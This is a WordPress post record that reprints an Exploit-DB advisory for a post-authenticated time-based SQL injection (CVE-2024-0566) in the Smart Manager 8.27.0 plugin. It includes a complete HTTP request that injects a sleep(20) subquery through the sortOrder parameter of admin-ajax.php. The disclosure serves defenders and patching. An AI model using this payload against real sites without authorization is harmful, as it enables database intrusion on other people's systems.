{"id":320,"date":"2025-04-19T18:53:35","date_gmt":"2025-04-19T18:53:35","guid":{"rendered":"http:\/\/localhost\/?p=320"},"modified":"2025-04-19T18:53:35","modified_gmt":"2025-04-19T18:53:35","slug":"smart-manager-8270-post-authenticated-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=320","title":{"rendered":"Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52247<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-16T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-16T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.2<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-0566<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection Date: 2024-01-18 Exploit Author: Ivan Spiridonov &#8211; xbz0n Vendor Homepage: https:\/\/www.storeapps.org\/ Software&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection<br \/>\n<br \/># Date: 2024-01-18<br \/>\n<br \/># Exploit Author: Ivan Spiridonov &#8211; xbz0n<br \/>\n<br \/># Vendor Homepage: https:\/\/www.storeapps.org\/<br \/>\n<br \/># Software Link: https:\/\/www.storeapps.org\/product\/smart-manager\/<br \/>\n<br \/># Version: 8.27.0<br \/>\n<br \/># Tested on: Ubuntu 22.04<br \/>\n<br \/># CVE: CVE-2024-0566<\/p>\n<p>## SQL Injection<\/p>\n<p>The plugin does not properly sanitize and escape a parameter before using it in an SQL statement, leading to an SQL injection exploitable by high-privilege users such as admin.<\/p>\n<p>## Affected Components<\/p>\n<p>&#8211; **Plugin:** Smart Manager<br \/>\n<br \/>&#8211; **Version:** 8.27.0<br \/>\n<br \/>&#8211; **Affected Parameters:** &#8216;sort_params%5BsortOrder%5D&#8217;, &#8216;sort_params%5Bcolumn%5D&#8217;<br \/>\n<br \/>&#8211; **Affected Endpoint:** \/wp-admin\/admin-ajax.php<\/p>\n<p>## Description<\/p>\n<p>The vulnerability is located within the admin AJAX endpoint in the sorting parameters &#8216;sort_params%5BsortOrder%5D&#8217; and &#8216;sort_params%5Bcolumn%5D&#8217;. By manipulating these parameters, authenticated attackers can inject SQL commands, leading to a time-based SQL Injection vulnerability.<\/p>\n<p>## Proof of Concept<\/p>\n<p>### Manual Exploitation<\/p>\n<p>&#8220;`http<br \/>\n<br \/>POST \/wp-admin\/admin-ajax.php?action=sm_beta_include_file HTTP\/1.1<br \/>\n<br \/>Host: localhost<br \/>\n<br \/>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko\/20100101 Firefox\/121.0<br \/>\n<br \/>Accept: text\/plain, *\/*; q=0.01<br \/>\n<br \/>Accept-Language: en-US,en;q=0.5<br \/>\n<br \/>Accept-Encoding: gzip, deflate, br<br \/>\n<br \/>Referer: http:\/\/localhost\/wp-admin\/admin.php?page=smart-manager<br \/>\n<br \/>Content-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\n<br \/>X-Requested-With: XMLHttpRequest<br \/>\n<br \/>Content-Length: 1117<br \/>\n<br \/>Origin: http:\/\/localhost<br \/>\n<br \/>Connection: close<br \/>\n<br \/>Cookie: Sec-Fetch-Dest: empty<br \/>\n<br \/>Sec-Fetch-Mode: cors<br \/>\n<br \/>Sec-Fetch-Site: same-origin<br \/>\n<br \/>cmd=get_data_model&#038;active_module=product&#038;security=37e8d818b7&#038;is_public=1&#038;sm_page=1&#038;sm_limit=50&#038;SM_IS_WOO30=true&#038;sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&#038;sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&#038;table_model%5Bposts%5D%5Bpkey%5D=ID&#038;table_model%5Bposts%5D%5Bjoin_on%5D=&#038;table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&#038;table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&#038;table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&#038;table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&#038;table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&#038;table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&#038;table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&#038;table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&#038;table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&#038;table_model%5Bterms%5D%5Bpkey%5D=term_id&#038;table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&#038;search_text=&#038;advanced_search_query=%5B%5D&#038;is_view=0&#038;isTasks=0&#038;is_taxonomy=0<br \/>\n<br \/>&#8220;`<\/p>\n<p>If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.<\/p>\n<p>## Recommendations<\/p>\n<p>Users of Smart Manager v8.27.0 are strongly advised to restrict access to the affected endpoint and update the plugin to the latest version.\n<\/p><\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52247\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection Exploit ID EDB-ID:52247 Type exploitdb Published 2025-04-16T00:00:00 Modified 2025-04-16T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,40,15,13,7,11,5],"class_list":["post-320","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=320\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection Exploit ID EDB-ID:52247 Type exploitdb Published 2025-04-16T00:00:00 Modified 2025-04-16T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=320\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-19T18:53:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection\",\"datePublished\":\"2025-04-19T18:53:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320\"},\"wordCount\":546,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=320#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320\",\"name\":\"Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-19T18:53:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=320\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=320#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=320","og_locale":"en_US","og_type":"article","og_title":"Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection Exploit ID EDB-ID:52247 Type exploitdb Published 2025-04-16T00:00:00 Modified 2025-04-16T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=320","og_site_name":"zero redgem","article_published_time":"2025-04-19T18:53:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=320#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=320"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection","datePublished":"2025-04-19T18:53:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=320"},"wordCount":546,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.2","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=320#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=320","url":"https:\/\/zero.redgem.net\/?p=320","name":"Smart Manager 8.27.0 - Post-Authenticated SQL Injection - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-19T18:53:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=320#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=320"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=320#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Smart Manager 8.27.0 &#8211; Post-Authenticated SQL Injection"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/320","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=320"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/320\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=320"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=320"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=320"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}